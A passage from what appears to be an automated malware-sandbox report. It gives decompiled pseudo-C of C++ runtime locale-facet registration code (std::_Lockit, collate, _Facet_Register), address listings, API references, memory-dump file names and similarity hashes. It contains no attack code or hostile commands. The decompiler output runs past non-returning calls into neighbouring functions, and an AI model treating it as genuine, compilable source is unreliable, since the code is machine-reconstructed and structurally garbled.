																							if(_t363 == 0) {
																								_push( *((intOrPtr*)(_t374 + 8)));
																								_push(_t374 - 0x10);
																								__eflags = E6DD2C229(_t265, _t310, _t346, _t354, _t363) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t374 - 0x20);
																									E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t265, _t354, _t363, 0x14);
																									E6DD16653(_t374 - 0x14, 0);
																									_t364 =  *0x6ddd6e44; // 0x0
																									 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																									 *(_t374 - 0x10) = _t364;
																									_t216 = E6DCF161C(0x6ddd6e24);
																									_t317 =  *((intOrPtr*)(_t374 + 8));
																									_t355 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t216);
																									__eflags = _t355;
																									if(_t355 != 0) {
																										L54:
																										E6DD166BA(_t374 - 0x14);
																										return E6DD30075(_t355);
																									} else {
																										__eflags = _t364;
																										if(_t364 == 0) {
																											_push( *((intOrPtr*)(_t374 + 8)));
																											_push(_t374 - 0x10);
																											__eflags = E6DD2C295(_t265, _t317, _t346, _t355, _t364) - 0xffffffff;
																											if(__eflags == 0) {
																												_t321 = _t374 - 0x20;
																												E6DCF1438(_t321);
																												E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd7851f, _t265, _t355, _t364, 4);
																												_t365 = _t321;
																												 *(_t374 - 0x10) = _t365;
																												 *((intOrPtr*)(_t365 + 4)) =  *((intOrPtr*)(_t374 + 0xc));
																												_push( *((intOrPtr*)(_t374 + 0x14)));
																												_t119 = _t374 - 4;
																												 *_t119 =  *(_t374 - 4) & 0x00000000;
																												__eflags =  *_t119;
																												 *_t365 = 0x6dd7c414;
																												 *((char*)(_t365 + 0x28)) =  *((intOrPtr*)(_t374 + 0x10));
																												E6DD2D028(_t265, _t321, _t346, _t355, _t365,  *_t119);
																												return E6DD30075(_t365,  *((intOrPtr*)(_t374 + 8)));
																											} else {
																												_t355 =  *(_t374 - 0x10);
																												 *(_t374 - 0x10) = _t355;
																												 *(_t374 - 4) = 1;
																												E6DD16FD3(__eflags, _t355);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t355 + 4))))();
																												 *0x6ddd6e44 = _t355;
																												goto L54;
																											}
																										} else {
																											_t355 = _t364;
																											goto L54;
																										}
																									}
																								} else {
																									_t354 =  *(_t374 - 0x10);
																									 *(_t374 - 0x10) = _t354;
																									 *(_t374 - 4) = 1;
																									E6DD16FD3(__eflags, _t354);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t354 + 4))))();
																									 *0x6ddd6e40 = _t354;
																									goto L47;
																								}
																							} else {
																								_t354 = _t363;
																								goto L47;
																							}
																						}
																					} else {
																						_t353 =  *(_t374 - 0x10);
																						 *(_t374 - 0x10) = _t353;
																						 *(_t374 - 4) = 1;
																						E6DD16FD3(__eflags, _t353);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t353 + 4))))();
																						 *0x6ddd6e38 = _t353;
																						goto L40;
																					}
																				} else {
																					_t353 = _t362;
																					goto L40;
																				}
																			}
																		} else {
																			_t352 =  *(_t374 - 0x10);
																			 *(_t374 - 0x10) = _t352;
																			 *(_t374 - 4) = 1;
																			E6DD16FD3(__eflags, _t352);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t352 + 4))))();
																			 *0x6ddd6e3c = _t352;
																			goto L33;
																		}
																	} else {
																		_t352 = _t361;
																		goto L33;
																	}
																}
															} else {
																_t351 =  *(_t374 - 0x10);
																 *(_t374 - 0x10) = _t351;
																 *(_t374 - 4) = 1;
																E6DD16FD3(__eflags, _t351);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t351 + 4))))();
																 *0x6ddd6e34 = _t351;
																goto L26;
															}
														} else {
															_t351 = _t360;
															goto L26;
														}
													}
												} else {
													_t350 =  *(_t374 - 0x10);
													 *(_t374 - 0x10) = _t350;
													 *(_t374 - 4) = 1;
													E6DD16FD3(__eflags, _t350);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t350 + 4))))();
													 *0x6ddd6e30 = _t350;
													goto L19;
												}
											} else {
												_t350 = _t359;
												goto L19;
											}
										}
									} else {
										_t349 =  *(_t374 - 0x10);
										 *(_t374 - 0x10) = _t349;
										 *(_t374 - 4) = 1;
										E6DD16FD3(__eflags, _t349);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t349 + 4))))();
										 *0x6ddd6e2c = _t349;
										goto L12;
									}
								} else {
									_t349 = _t358;
									goto L12;
								}
							}
						} else {
							_t348 =  *(_t374 - 0x10);
							 *(_t374 - 0x10) = _t348;
							 *(_t374 - 4) = 1;
							E6DD16FD3(__eflags, _t348);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t348 + 4))))();
							 *0x6ddd6e28 = _t348;
							goto L5;
						}
					} else {
						_t348 = _t357;
						goto L5;
					}
				}
			}

0x6dd2b74c
0x6dd2b74c
0x6dd2b753
0x6dd2b75d
0x6dd2b762
0x6dd2b76d
0x6dd2b771
0x6dd2b774
0x6dd2b779
0x6dd2b77d
0x6dd2b782
0x6dd2b786
0x6dd2b7cb
0x6dd2b7ce
0x6dd2b7da
0x6dd2b788
0x6dd2b78a
0x6dd2b790
0x6dd2b796
0x6dd2b79e
0x6dd2b7a1
0x6dd2b7de
0x6dd2b7ec
0x6dd2b7f1
0x6dd2b7f9
0x6dd2b803
0x6dd2b808
0x6dd2b813
0x6dd2b817
0x6dd2b81a
0x6dd2b81f
0x6dd2b828
0x6dd2b82a
0x6dd2b82c
0x6dd2b871
0x6dd2b874
0x6dd2b880
0x6dd2b82e
0x6dd2b82e
0x6dd2b830
0x6dd2b836
0x6dd2b83c
0x6dd2b844
0x6dd2b847
0x6dd2b884
0x6dd2b892
0x6dd2b897
0x6dd2b89f
0x6dd2b8a9
0x6dd2b8ae
0x6dd2b8b9
0x6dd2b8bd
0x6dd2b8c0
0x6dd2b8c5
0x6dd2b8ce
0x6dd2b8d0
0x6dd2b8d2
0x6dd2b917
0x6dd2b91a
0x6dd2b926
0x6dd2b8d4
0x6dd2b8d4
0x6dd2b8d6
0x6dd2b8dc
0x6dd2b8e2
0x6dd2b8ea
0x6dd2b8ed
0x6dd2b92a
0x6dd2b938
0x6dd2b93d
0x6dd2b945
0x6dd2b94f
0x6dd2b954
0x6dd2b95f
0x6dd2b963
0x6dd2b966
0x6dd2b96b
0x6dd2b974
0x6dd2b976
0x6dd2b978
0x6dd2b9bd
0x6dd2b9c0
0x6dd2b9cc
0x6dd2b97a
0x6dd2b97a
0x6dd2b97c
0x6dd2b982
0x6dd2b988
0x6dd2b990
0x6dd2b993
0x6dd2b9d0
0x6dd2b9de
0x6dd2b9e3
0x6dd2b9eb
0x6dd2b9f5
0x6dd2b9fa
0x6dd2ba05
0x6dd2ba09
0x6dd2ba0c
0x6dd2ba11
0x6dd2ba1a
0x6dd2ba1c
0x6dd2ba1e
0x6dd2ba63
0x6dd2ba66
0x6dd2ba72
0x6dd2ba20
0x6dd2ba20
0x6dd2ba22
0x6dd2ba28
0x6dd2ba2e
0x6dd2ba36
0x6dd2ba39
0x6dd2ba76
0x6dd2ba84
0x6dd2ba89
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2bac0
0x6dd2bac2
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8
0x6dd2ba3b
0x6dd2ba3b
0x6dd2ba3e
0x6dd2ba42
0x6dd2ba46
0x6dd2ba53
0x6dd2ba5b
0x6dd2ba5d
0x00000000
0x6dd2ba5d
0x6dd2ba24
0x6dd2ba24
0x00000000
0x6dd2ba24
0x6dd2ba22
0x6dd2b995
0x6dd2b995
0x6dd2b998
0x6dd2b99c
0x6dd2b9a0
0x6dd2b9ad
0x6dd2b9b5
0x6dd2b9b7
0x00000000
0x6dd2b9b7
0x6dd2b97e
0x6dd2b97e
0x00000000
0x6dd2b97e
0x6dd2b97c
0x6dd2b8ef
0x6dd2b8ef
0x6dd2b8f2
0x6dd2b8f6
0x6dd2b8fa
0x6dd2b907
0x6dd2b90f
0x6dd2b911
0x00000000
0x6dd2b911
0x6dd2b8d8
0x6dd2b8d8
0x00000000
0x6dd2b8d8
0x6dd2b8d6
0x6dd2b849
0x6dd2b849
0x6dd2b84c
0x6dd2b850
0x6dd2b854
0x6dd2b861
0x6dd2b869
0x6dd2b86b
0x00000000
0x6dd2b86b
0x6dd2b832
0x6dd2b832
0x00000000
0x6dd2b832
0x6dd2b830
0x6dd2b7a3
0x6dd2b7a3
0x6dd2b7a6
0x6dd2b7aa
0x6dd2b7ae
0x6dd2b7bb
0x6dd2b7c3
0x6dd2b7c5
0x00000000
0x6dd2b7c5
0x6dd2b78c
0x6dd2b78c
0x00000000
0x6dd2b78c
0x6dd2b78a

APIs

__EH_prolog3.LIBCMT ref: 6DD2B753
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B75D
int.LIBCPMT ref: 6DD2B774

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD2B797
std::_Facet_Register.LIBCPMT ref: 6DD2B7AE
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B7CE
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B7EC

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: 701e460177d07d8a06f9c934477a048463f3607f7a408d89565d8c9af0e49746
Instruction ID: 3b742c2677eeaaec13f38d4e135974d35f41cc1bd859a73ab30e3857a0c90682
Opcode Fuzzy Hash: 701e460177d07d8a06f9c934477a048463f3607f7a408d89565d8c9af0e49746
Instruction Fuzzy Hash: B211CE7680822D9BCF00FBA4C880AFEB771AF45728F174009F614AB390DBB099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F6B3, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F6B3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t153;
				signed int _t154;
				void* _t166;
				void* _t179;
				void* _t192;
				void* _t205;
				void* _t218;
				void* _t231;
				void* _t244;
				void* _t257;
				void* _t270;
				signed int _t397;
				signed int _t431;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t436;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				void* _t462;

				_t428 = __edx;
				_t327 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t462 - 0x14, 0);
				_t441 =  *0x6ddd6dc8; // 0x0
				 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
				 *(_t462 - 0x10) = _t441;
				_t153 = E6DCF161C(0x6ddd6d7c);
				_t330 =  *((intOrPtr*)(_t462 + 8));
				_t154 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t153);
				_t430 = _t154;
				if(_t154 != 0) {
					L5:
					E6DD166BA(_t462 - 0x14);
					return E6DD30075(_t430);
				} else {
					if(_t441 == 0) {
						_push( *((intOrPtr*)(_t462 + 8)));
						_push(_t462 - 0x10);
						__eflags = E6DD21230(__ebx, _t330, __edx, _t430, _t441) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t462 - 0x20);
							E6DD33D74(_t462 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t430, _t441, 0x14);
							E6DD16653(_t462 - 0x14, 0);
							_t442 =  *0x6ddd6dc4; // 0x0
							 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
							 *(_t462 - 0x10) = _t442;
							_t166 = E6DCF161C(0x6ddd6d78);
							_t337 =  *((intOrPtr*)(_t462 + 8));
							_t431 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t166);
							__eflags = _t431;
							if(_t431 != 0) {
								L12:
								E6DD166BA(_t462 - 0x14);
								return E6DD30075(_t431);
							} else {
								__eflags = _t442;
								if(_t442 == 0) {
									_push( *((intOrPtr*)(_t462 + 8)));
									_push(_t462 - 0x10);
									__eflags = E6DD212B4(_t327, _t337, __edx, _t431, _t442) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t462 - 0x20);
										E6DD33D74(_t462 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t327, _t431, _t442, 0x14);
										E6DD16653(_t462 - 0x14, 0);
										_t443 =  *0x6ddd6dd8; // 0x0
										 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
										 *(_t462 - 0x10) = _t443;
										_t179 = E6DCF161C(0x6ddd6d84);
										_t344 =  *((intOrPtr*)(_t462 + 8));
										_t432 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t179);
										__eflags = _t432;
										if(_t432 != 0) {
											L19:
											E6DD166BA(_t462 - 0x14);
											return E6DD30075(_t432);
										} else {
											__eflags = _t443;
											if(_t443 == 0) {
												_push( *((intOrPtr*)(_t462 + 8)));
												_push(_t462 - 0x10);
												__eflags = E6DD21339(_t327, _t344, __edx, _t432, _t443) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t462 - 0x20);
													E6DD33D74(_t462 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t327, _t432, _t443, 0x14);
													E6DD16653(_t462 - 0x14, 0);
													_t444 =  *0x6ddd6db0; // 0x0
													 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
													 *(_t462 - 0x10) = _t444;
													_t192 = E6DCF161C(0x6ddd6d64);
													_t351 =  *((intOrPtr*)(_t462 + 8));
													_t433 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t192);
													__eflags = _t433;
													if(_t433 != 0) {
														L26:
														E6DD166BA(_t462 - 0x14);
														return E6DD30075(_t433);
													} else {
														__eflags = _t444;
														if(_t444 == 0) {
															_push( *((intOrPtr*)(_t462 + 8)));
															_push(_t462 - 0x10);
															__eflags = E6DD213A1(_t327, _t351, _t428, _t433, _t444) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t462 - 0x20);
																E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t327, _t433, _t444, 0x14);
																E6DD16653(_t462 - 0x14, 0);
																_t445 =  *0x6ddd6ddc; // 0x0
																 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																 *(_t462 - 0x10) = _t445;
																_t205 = E6DCF161C(0x6ddd6d88);
																_t358 =  *((intOrPtr*)(_t462 + 8));
																_t434 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t205);
																__eflags = _t434;
																if(_t434 != 0) {
																	L33:
																	E6DD166BA(_t462 - 0x14);
																	return E6DD30075(_t434);
																} else {
																	__eflags = _t445;
																	if(_t445 == 0) {
																		_push( *((intOrPtr*)(_t462 + 8)));
																		_push(_t462 - 0x10);
																		__eflags = E6DD21409(_t327, _t358, _t428, _t434, _t445) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t462 - 0x20);
																			E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t327, _t434, _t445, 0x14);
																			E6DD16653(_t462 - 0x14, 0);
																			_t446 =  *0x6ddd6de0; // 0x0
																			 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																			 *(_t462 - 0x10) = _t446;
																			_t218 = E6DCF161C(0x6ddd6d8c);
																			_t365 =  *((intOrPtr*)(_t462 + 8));
																			_t435 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t218);
																			__eflags = _t435;
																			if(_t435 != 0) {
																				L40:
																				E6DD166BA(_t462 - 0x14);
																				return E6DD30075(_t435);
																			} else {
																				__eflags = _t446;
																				if(_t446 == 0) {
																					_push( *((intOrPtr*)(_t462 + 8)));
																					_push(_t462 - 0x10);
																					__eflags = E6DD21471(_t327, _t365, _t428, _t435, _t446) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t462 - 0x20);
																						E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t327, _t435, _t446, 0x14);
																						E6DD16653(_t462 - 0x14, 0);
																						_t447 =  *0x6ddd6dfc; // 0x0
																						 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																						 *(_t462 - 0x10) = _t447;
																						_t231 = E6DCF161C(0x6ddd6da8);
																						_t372 =  *((intOrPtr*)(_t462 + 8));
																						_t436 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t231);
																						__eflags = _t436;
																						if(_t436 != 0) {
																							L47:
																							E6DD166BA(_t462 - 0x14);
																							return E6DD30075(_t436);
																						} else {
																							__eflags = _t447;
																							if(_t447 == 0) {
																								_push( *((intOrPtr*)(_t462 + 8)));
																								_push(_t462 - 0x10);
																								__eflags = E6DD214EC(_t327, _t372, _t428, _t436, _t447) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t462 - 0x20);
																									E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t327, _t436, _t447, 0x14);
																									E6DD16653(_t462 - 0x14, 0);
																									_t448 =  *0x6ddd6dcc; // 0x0
																									 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																									 *(_t462 - 0x10) = _t448;
																									_t244 = E6DCF161C(0x6ddd6d80);
																									_t379 =  *((intOrPtr*)(_t462 + 8));
																									_t437 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t244);
																									__eflags = _t437;
																									if(_t437 != 0) {
																										L54:
																										E6DD166BA(_t462 - 0x14);
																										return E6DD30075(_t437);
																									} else {
																										__eflags = _t448;
																										if(_t448 == 0) {
																											_push( *((intOrPtr*)(_t462 + 8)));
																											_push(_t462 - 0x10);
																											__eflags = E6DD21558(_t327, _t379, _t428, _t437, _t448) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t462 - 0x20);
																												E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t327, _t437, _t448, 0x14);
																												E6DD16653(_t462 - 0x14, 0);
																												_t449 =  *0x6ddd6e00; // 0x0
																												 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																												 *(_t462 - 0x10) = _t449;
																												_t257 = E6DCF161C(0x6ddd6dac);
																												_t386 =  *((intOrPtr*)(_t462 + 8));
																												_t438 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t257);
																												__eflags = _t438;
																												if(_t438 != 0) {
																													L61:
																													E6DD166BA(_t462 - 0x14);
																													return E6DD30075(_t438);
																												} else {
																													__eflags = _t449;
																													if(_t449 == 0) {
																														_push( *((intOrPtr*)(_t462 + 8)));
																														_push(_t462 - 0x10);
																														__eflags = E6DD215C4(_t327, _t386, _t428, _t438, _t449) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t462 - 0x20);
																															E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t327, _t438, _t449, 0x14);
																															E6DD16653(_t462 - 0x14, 0);
																															_t450 =  *0x6ddd6dd0; // 0x0
																															 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																															 *(_t462 - 0x10) = _t450;
																															_t270 = E6DCF161C(0x6ddd6d60);
																															_t393 =  *((intOrPtr*)(_t462 + 8));
																															_t439 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t270);
																															__eflags = _t439;
																															if(_t439 != 0) {
																																L68:
																																E6DD166BA(_t462 - 0x14);
																																return E6DD30075(_t439);
																															} else {
																																__eflags = _t450;
																																if(_t450 == 0) {
																																	_push( *((intOrPtr*)(_t462 + 8)));
																																	_push(_t462 - 0x10);
																																	__eflags = E6DD2162A(_t327, _t393, _t428, _t439, _t450) - 0xffffffff;
																																	if(__eflags == 0) {
																																		_t397 = _t462 - 0x20;
																																		E6DCF1438(_t397);
																																		E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd7851f, _t327, _t439, _t450, 4);
																																		_t451 = _t397;
																																		 *(_t462 - 0x10) = _t451;
																																		 *((intOrPtr*)(_t451 + 4)) =  *((intOrPtr*)(_t462 + 0xc));
																																		_push( *((intOrPtr*)(_t462 + 0x14)));
																																		_t147 = _t462 - 4;
																																		 *_t147 =  *(_t462 - 4) & 0x00000000;
																																		__eflags =  *_t147;
																																		 *_t451 = 0x6dd7c0c4;
																																		 *((char*)(_t451 + 0x28)) =  *((intOrPtr*)(_t462 + 0x10));
																																		E6DD2542F(_t327, _t397, _t428, _t439, _t451,  *_t147);
																																		return E6DD30075(_t451,  *((intOrPtr*)(_t462 + 8)));
																																	} else {
																																		_t439 =  *(_t462 - 0x10);
																																		 *(_t462 - 0x10) = _t439;
																																		 *(_t462 - 4) = 1;
																																		E6DD16FD3(__eflags, _t439);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t439 + 4))))();
																																		 *0x6ddd6dd0 = _t439;
																																		goto L68;
																																	}
																																} else {
																																	_t439 = _t450;
																																	goto L68;
																																}
																															}
																														} else {
																															_t438 =  *(_t462 - 0x10);
																															 *(_t462 - 0x10) = _t438;
																															 *(_t462 - 4) = 1;
																															E6DD16FD3(__eflags, _t438);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t438 + 4))))();
																															 *0x6ddd6e00 = _t438;
																															goto L61;
																														}
																													} else {
																														_t438 = _t449;
																														goto L61;
																													}
																												}
																											} else {
																												_t437 =  *(_t462 - 0x10);
																												 *(_t462 - 0x10) = _t437;
																												 *(_t462 - 4) = 1;
																												E6DD16FD3(__eflags, _t437);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t437 + 4))))();
																												 *0x6ddd6dcc = _t437;
																												goto L54;
																											}
																										} else {
																											_t437 = _t448;
																											goto L54;
																										}
																									}
																								} else {
																									_t436 =  *(_t462 - 0x10);
																									 *(_t462 - 0x10) = _t436;
																									 *(_t462 - 4) = 1;
																									E6DD16FD3(__eflags, _t436);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t436 + 4))))();
																									 *0x6ddd6dfc = _t436;
																									goto L47;
																								}
																							} else {
																								_t436 = _t447;
																								goto L47;
																							}
																						}
																					} else {
																						_t435 =  *(_t462 - 0x10);
																						 *(_t462 - 0x10) = _t435;
																						 *(_t462 - 4) = 1;
																						E6DD16FD3(__eflags, _t435);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t435 + 4))))();
																						 *0x6ddd6de0 = _t435;
																						goto L40;
																					}
																				} else {
																					_t435 = _t446;
																					goto L40;
																				}
																			}
																		} else {
																			_t434 =  *(_t462 - 0x10);
																			 *(_t462 - 0x10) = _t434;
																			 *(_t462 - 4) = 1;
																			E6DD16FD3(__eflags, _t434);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t434 + 4))))();
																			 *0x6ddd6ddc = _t434;
																			goto L33;
																		}
																	} else {
																		_t434 = _t445;
																		goto L33;
																	}
																}
															} else {
																_t433 =  *(_t462 - 0x10);
																 *(_t462 - 0x10) = _t433;
																 *(_t462 - 4) = 1;
																E6DD16FD3(__eflags, _t433);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t433 + 4))))();
																 *0x6ddd6db0 = _t433;
																goto L26;
															}
														} else {
															_t433 = _t444;
															goto L26;
														}
													}
												} else {
													_t432 =  *(_t462 - 0x10);
													 *(_t462 - 0x10) = _t432;
													 *(_t462 - 4) = 1;
													E6DD16FD3(__eflags, _t432);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t432 + 4))))();
													 *0x6ddd6dd8 = _t432;
													goto L19;
												}
											} else {
												_t432 = _t443;
												goto L19;
											}
										}
									} else {
										_t431 =  *(_t462 - 0x10);
										 *(_t462 - 0x10) = _t431;
										 *(_t462 - 4) = 1;
										E6DD16FD3(__eflags, _t431);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t431 + 4))))();
										 *0x6ddd6dc4 = _t431;
										goto L12;
									}
								} else {
									_t431 = _t442;
									goto L12;
								}
							}
						} else {
							_t430 =  *(_t462 - 0x10);
							 *(_t462 - 0x10) = _t430;
							 *(_t462 - 4) = 1;
							E6DD16FD3(__eflags, _t430);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t430 + 4))))();
							 *0x6ddd6dc8 = _t430;
							goto L5;
						}
					} else {
						_t430 = _t441;
						goto L5;
					}
				}
			}

0x6dd1f6b3
0x6dd1f6b3
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e4
0x6dd1f6e9
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
